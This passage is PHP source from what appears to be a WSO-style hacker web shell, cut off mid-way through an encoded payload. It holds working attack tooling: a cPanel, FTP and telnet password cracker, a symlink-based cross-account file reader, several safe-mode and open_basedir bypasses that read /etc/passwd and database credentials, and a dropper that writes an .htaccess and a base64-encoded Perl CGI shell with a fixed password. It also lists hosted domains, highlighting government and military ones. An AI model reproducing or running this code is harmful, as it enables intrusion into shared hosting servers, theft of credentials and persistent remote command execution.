$gov    = '\.gov'; 
$gose   = '\.go'; 
$gober  = '\.gob'; 
$mil1   = '\.mil'; 
$mil2   = '\.mi'; 
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0]) 
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])) 
{ 
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>'; 
} 
echo " 
<tr> 

<td> 
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div> 
</td> 

<td> 
'.$UID['name']." 
</td> 

<td> 
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a> 
</td> 

</tr></div> "; 
flush(); 
} 
} 
} 
} 

echo "</center></table>";    
wsoFooter(); } 
###################### Cpanel Cracker ############################ 
function actioncpcrack() { 
wsoHeader(); 
// Cpanel Cracker 
echo "<center> 
<h1>Cpanel Cracker</h1> 
<br> 
"; 
        { 
                $cpanel_port="2082"; 
                $connect_timeout=5; 
                ?> 
                <center> 
                <form method=post> 
                <table style="border:none; overflow:hidden; height:90px;" border=1 cellpadding=4> 
                        <tr> 
                                <td align=center colspan=2>Target <br><input type=text name="server" value="localhost" class=sbox></td> 
                        </tr> 
                        <tr> 
                                <td align=center>[ User names ]</td><td align=center>[ Password ]</td> 
                        </tr> 
                        <tr> 
                                <td align=center><textarea name=username rows=20 cols=20 class=box><?php 
                                if($os != "Windows") 
                                { 
                                        if(@file('/etc/passwd')) 
                                        { 
                                                $users = file('/etc/passwd'); 
                                                foreach($users as $user) 
                                                { 
                                                        $user = explode(':', $user); 
                                                        echo $user[0] . "
"; 
                                                } 
                                        } 
                                        else 
                                        { 
                                                $temp = ""; 
                                                $val1 = 0; 
                                                $val2 = 1000; 
                                                for(;$val1 <= $val2;$val1++) 
                                                { 
                                                        $uid = @posix_getpwuid($val1); 
                                                        if ($uid) 
                                                                 $temp .= join(':',$uid)."
"; 
                                                 } 
                                                
                                                 $temp = trim($temp); 
                                                          
                                                 if($file5 = fopen("test.txt","w")) 
                                                 { 
                                                        fputs($file5,$temp); 
                                                         fclose($file5); 
                                                          
                                                         $file = fopen("test.txt", "r"); 
                                                         while(!feof($file)) 
                                                         { 
                                                                $s = fgets($file); 
                                                                $matches = array(); 
                                                                $t = preg_match('/\/(.*?)\:\//s', $s, $matches); 
                                                                $matches = str_replace("home/","",$matches[1]); 
                                                                if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
                                                                        continue; 
                                                                echo $matches; 
                                                        } 
                                                        fclose($file); 
                                                } 
                                        } 
                                } 
  
                                 ?></textarea></td><td align=center><textarea name=password rows=20 cols=20 class=box></textarea></td> 
                        </tr> 
                        <tr> 
                                <td align=center colspan=2>Guess options : <label><input name="cpcrack" type="radio" value="cpanel" checked>[  Cpanel(2082) ]</label><label><input name="cpcrack" type="radio" value="ftp"> [ Ftp(21) ]</label><label><input name="cpcrack" type="radio" value="telnet"> [ Telnet(23) ]</label></td> 
                        </tr> 
                        <tr> 
                                <td align=center colspan=2>Timeout delay : <br><input type="text" name="delay" value=6 class=sbox></td> 
                        </tr> 
                        <tr> 
                                <td align=center colspan=2><input type="hidden" name="a" value="cpcrack"><input type="submit" name="cpcrack" value=">>" class=but></td> 
                        </tr> 
                </table> 
                </form> 
                </center> 
                <?php 
} 
wsoFooter();  
                                     } 
///Menus
####################### Baypassers ######################### 
function actionbypss() { 
wsoHeader(); 
echo' 
<center> 
<a href=# onclick="g(\'bypassing\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Jijle3 Bypasser       ]</a><br><br> 
<a href=# onclick="g(\'etcnmd\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Server User Function Bypasser       ]</a><br><br> 
<a href=# onclick="g(\'etcbaypass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Etc/passwd/ Function Bypasser      ]</a><br><br> 
<a href=# onclick="g(\'SafeMode\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Safe Mode Bypass ]</a><br> 
'; 
wsoFooter();} 
####################### bypassing ######################### 
function actionbypassing() { 
wsoHeader();  
echo '<center><h1>Jijle3 Function Bypasser </h1>'; 
error_reporting(0);  
set_magic_quotes_runtime(0); 
if(version_compare(phpversion(), '4.1.0') == -1) 
 {$_POST   = &$HTTP_POST_VARS;$_GET    = &$HTTP_GET_VARS; 
 $_SERVER = &$HTTP_SERVER_VARS; 
 }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"]; 
if (strstr ($requ,$link)){return preg_replace("/$link=[\d\w\W\D\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\d\w\W\D\S]*/","$link=$val",$requ);} 
elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\d\w\W\D\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;} 
else{return $requ."?".$link."=".$val;}} 
function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid #008080' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=#008080>$delmtxt</td></tr></table></center>";} 
function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd); 
$nscmd=htmlspecialchars($scmd);print $nscmd;} 
elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd); 
$ecmd = join("
",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;} 
elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r"); 
while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));; 
print $res;}pclose($pcmd);}elseif(!function_exists(popen)){  
ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){ 
ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean(); 
print htmlspecialchars($pret);}} 
function input($type,$name,$value,$size) 
{if (empty($value)){print "<input type=$type name=$name size=$size>";} 
elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";} 
elseif(empty($size)){print "<input type=$type name=$name value=$value >";} 
else {print "<input type=$type name=$name value=$value size=$size >";}} 
function permcol($path){if (is_writable($path)){print "<font color=#008080>"; 
callperms($path); print "</font>";} 
elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>"; 
callperms($path); print "</font>";} 
else {print "<font color=white>";callperms($path);}} 
if ($dlink=="dwld"){download($_REQUEST['dwld']);} 
function download($dwfile) {$size = filesize($dwfile); 
@header("Content-Type: application/force-download;name=$dwfile"); 
@header("Content-Transfer-Encoding: binary"); 
@header("Content-Length: $size"); 
@header("Content-Disposition: attachment; filename=$dwfile"); 
@header("Expires: 0"); 
@header("Cache-Control: no-cache, must-revalidate"); 
@header("Pragma: no-cache"); 
@readfile($dwfile); exit;} 
?> 
<? 
$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); 
$sf="<form method=post>";$ef="</form>"; 
$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; 
$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; 
$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; 
$sta="<textarea cols=157 rows=23>";$eta="</textarea>"; 
$sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>"; 
/////////////////////////////// 
                             // 
$mysql_use = "no"; //"yes"   // 
$mhost = "localhost";        // 
$muser = "root";             // 
$mpass = "pass";             // 
$mdb = "name";               // 
$them = "xxx"; //any site    // 
$you = "xx"; //your username // 
$flib = "hack15.txt";        // 
$folder = "hack15.txt";      // 
/////////////////////////////// 
################# PhP Hacked ######################## 
// read greet // 
if ($linux=='greet') 
{ 
  echo "</textarea>"; 
} 
// read file unzend sorce // 
if(empty($_POST['sorce'])){ 
} else { 
} 
// read file unzend functions // 
 if(empty($_POST['func'])){ 
} else { 
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; 
$zeen=$_POST['func']; 
require("$zeen"); 
echo "Database : ".$config['Database']['dbname']." <X> "; 
echo "UserName : ".$config['MasterServer']['username']." <X> "; 
echo "Password : ".$config['MasterServer']['password']." <X> "; 
echo "</textarea></p>"; 
}// read file symlink ( ) // 
if(empty($_POST['sym'])){ 
} else { 
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; 
$fp = fopen("hack15.txt","w+"); 
fwrite($fp,"Php Hacker Was Here"); 
@unlink($flib); 
$sym = "/home/" . $them . "/public_html/" . $k; 
$link = "/home/"  . $you . "/public_html/" . $folder . "/" . $flib; 
@symlink($sym, $link); 
if ($k{0} == "/") { 
echo "<script> window.location = '" . $flib . "'</script>"; 
}else{ 
echo "<pre><xmp>"; 
echo readlink($flib) . "
"; 
echo "Filesize: " . linkinfo($flib) . "B

"; 
echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/"  . $folder . "/" . $flib); 
  echo "</textarea>"; 
} 
} 

// read file plugin ( ) // 
if(empty($_POST['plugin'])){ 
} else { 
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; 
for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd 
 $ara = posix_getpwuid($uid); 
  if (!empty($ara)) { 
       while (list ($key, $val) = each($ara)){ 
        print "$val:"; 
  } 
  print "
"; 
     } 
  } 
  echo "</textarea>"; 
} 
// read file id ( ) // 
if ($_POST['rid'] ){ 
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; 
 for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd 
$ara = posix_getpwuid($uid); 
 if (!empty($ara)) { 
while (list ($key, $val) = each($ara)){ 
print "$val:"; 
} 
 print "
"; 
} 
 } 
echo "</textarea>"; 
break; 

 } 
// read file imap ( ) // 
$string = !empty($_POST['rimap']) ? $_POST['rimap'] : 0; 
if(empty($_POST['rimap'])){ 
} else { 
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; 
$stream = imap_open($string, "", ""); 
$str = imap_body($stream, 1); 
echo "</textarea>"; 
} 
// read file Curl ( ) // 
if(empty($_POST['curl'])){ 
} else { 
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; 
$m=$_POST['curl']; 
$ch = 
curl_init("file:///".$m."/../../../../../../../../../../../../".__FILE__); 
curl_exec($ch); 
var_dump(curl_exec($ch)); 
echo "</textarea>"; 
} 
// read file SQL ( ) // 
if(empty($_POST['ssql'])){ 
} else { 
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; 
$file=$_POST['ssql']; 
$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf"; 
$mysql_files = explode(':', $mysql_files_str); 
$sql = array ( 
"USE $mdb", 
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)', 
"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS " 
. "TERMINATED BY       '__THIS_NEVER_HAPPENS__' " 
. "ESCAPED BY          '' " 
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", 
"SELECT a FROM $tbl LIMIT 1" 
); 
mysql_connect ($mhost, $muser, $mpass); 
                                foreach ($sql as $statement) { 
                                   $q = mysql_query ($statement); 
                                   if ($q == false) die ( 
                                      "FAILED: " . $statement . "
" . 
                                      "REASON: " . mysql_error () . "
" 
                                   ); 
                                   if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue; 
                                   echo htmlspecialchars($r[0]); 
                                   mysql_free_result ($q); 
                                } 
echo "</textarea>"; 
} 
// read file copy & ini ( ) // 
if (isset ($_REQUEST['safefile'])){ 
$file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){ 
if(empty($_GET['file'])){if(empty($_POST['file'])){ 
print "<center>[ Please choose a file first to read it using copy() ]</center>"; 
} else {$file=$_POST['file'];}} else {$file=$_GET['file'];}} 
$temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){ 
$zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp)); 
fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else { 
print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !! 
</CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){ 
ini_restore("safe_mode");ini_restore("open_basedir"); 
print "<center><pre>".$sta; 
if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";} 
} 
?> 
</center><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%> 
<tr><td height=22% style="border:1px #dadada solid "><div><b> 
<center> 
Using copy() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=safefile value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd >  
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr> 
<td height=22% style="border:1px #dadada solid "><div><b><center> 
Using ini_restore() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=inifile value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd >  
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr> 
<td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using sql() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=ssql value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using Curl() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=curl value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td></tr></table> 
<table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left> 
<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using imap() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=rimap value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td> 
<td height=20% width=50%><div align=right> 
<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using id() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=rid value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%> 
<tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center> 
Using plugin() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=plugin value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr> 
<td height=22% style="border:1px #dadada solid "><div><b><center> 
Using symlink() function</div></tr></td><tr> 
<td style="border:1px #dadada solid "><form method=post>&nbsp; 
<input type=text name=sym value=/etc/passwd size=75 > 
<input type=hidden name=scdir value=/etc/passwd > 
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass > 
</center></tr></td></form></table></td></tr></table> 
<?php 
wsoFooter(); } 
####################### symlinker ######################### 
function actionsymlinker() { 
wsoHeader(); 
echo' 
<center> 
<a href=# onclick="g(\'sym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Symlink File       ]</a><br><br> 
<a href=# onclick="g(\'symserver\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Symlink Server From Named.conf ]</a><br><br> 
<a href=# onclick="g(\'cms\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ CMS Detector ]</a><br> 
'; 
wsoFooter();} 
####################### CMS ######################### 
function actioncms() { 
wsoHeader(); 
    ?> 
    <form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post"> 
<center><b><h1>CMS Detector</h1></b></center><br><br> 
    <?php 
if(!file_exists('pee.tmp')){ 
@fopen('pee.tmp', 'w'); 

echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">'; 
echo'<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table>'; 

$p = 0; 

if(is_readable("/var/named")){ 
$list = scandir("/var/named"); 
$current_dir = posix_getcwd(); 
$dir = explode("/",$current_dir); 
foreach($list as $domain){ 
if(strpos($domain,".db")) 
{ 
    $domain = str_replace('.db','',$domain); 
    $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain)); 

error_reporting(0); 

$link = $pageURL.'pee/'.$owner['name']; 

cms_add($link,$domain,$owner['name'],"WordPress"); 
cms_add($link,$domain,$owner['name'],"Joomla"); 
cms_add($link,$domain,$owner['name'],"vBulletin"); 
cms_add($link,$domain,$owner['name'],"WHMCS"); 
cms_add($link,$domain,$owner['name'],"PhpBB"); 
cms_add($link,$domain,$owner['name'],"MyBB"); 
cms_add($link,$domain,$owner['name'],"IPB"); 
cms_add($link,$domain,$owner['name'],"SMF"); 
cms_add($link,$domain,$owner['name'],"Drupal"); 
cms_add($link,$domain,$owner['name'],"e107"); 
cms_add($link,$domain,$owner['name'],"Seditio"); 
cms_add($link,$domain,$owner['name'],"osCommerce"); 
} 
} 
} 
}else{ 
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">'; 
echo'<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table><br><br>'; 
$content = file_get_contents($pageURL.'pee.tmp'); 
echo $content; 
} 
wsoFooter();} 
##################### CGI SHELL #################### 
function actioncgi() { 
wsoHeader(); 
echo '<center><h1>Sample CGI Perl Shell</h1><div class=content>'; 
echo '<center><h2>Password : jijle3</h2><div class=content>'; 

mkdir('cgi-telnet', 0755); 
    chdir('cgi-telnet'); 
        $kokdosya = ".htaccess"; 
        $dosya_adi = "$kokdosya"; 
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!"); 
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI 

AddType application/x-httpd-cgi .cin 

AddHandler cgi-script .cin 
AddHandler cgi-script .cin"; 
        fwrite ( $dosya , $metin ) ; 
        fclose ($dosya); 
$cgishellizocin = ' 
IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5bIFNhbXBsZSBDR0kgU2hlbGwgXS9iPiAjIHNlcnZlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXINCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiRQYXNzd29yZCA9ICJqaWpsZTMiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQ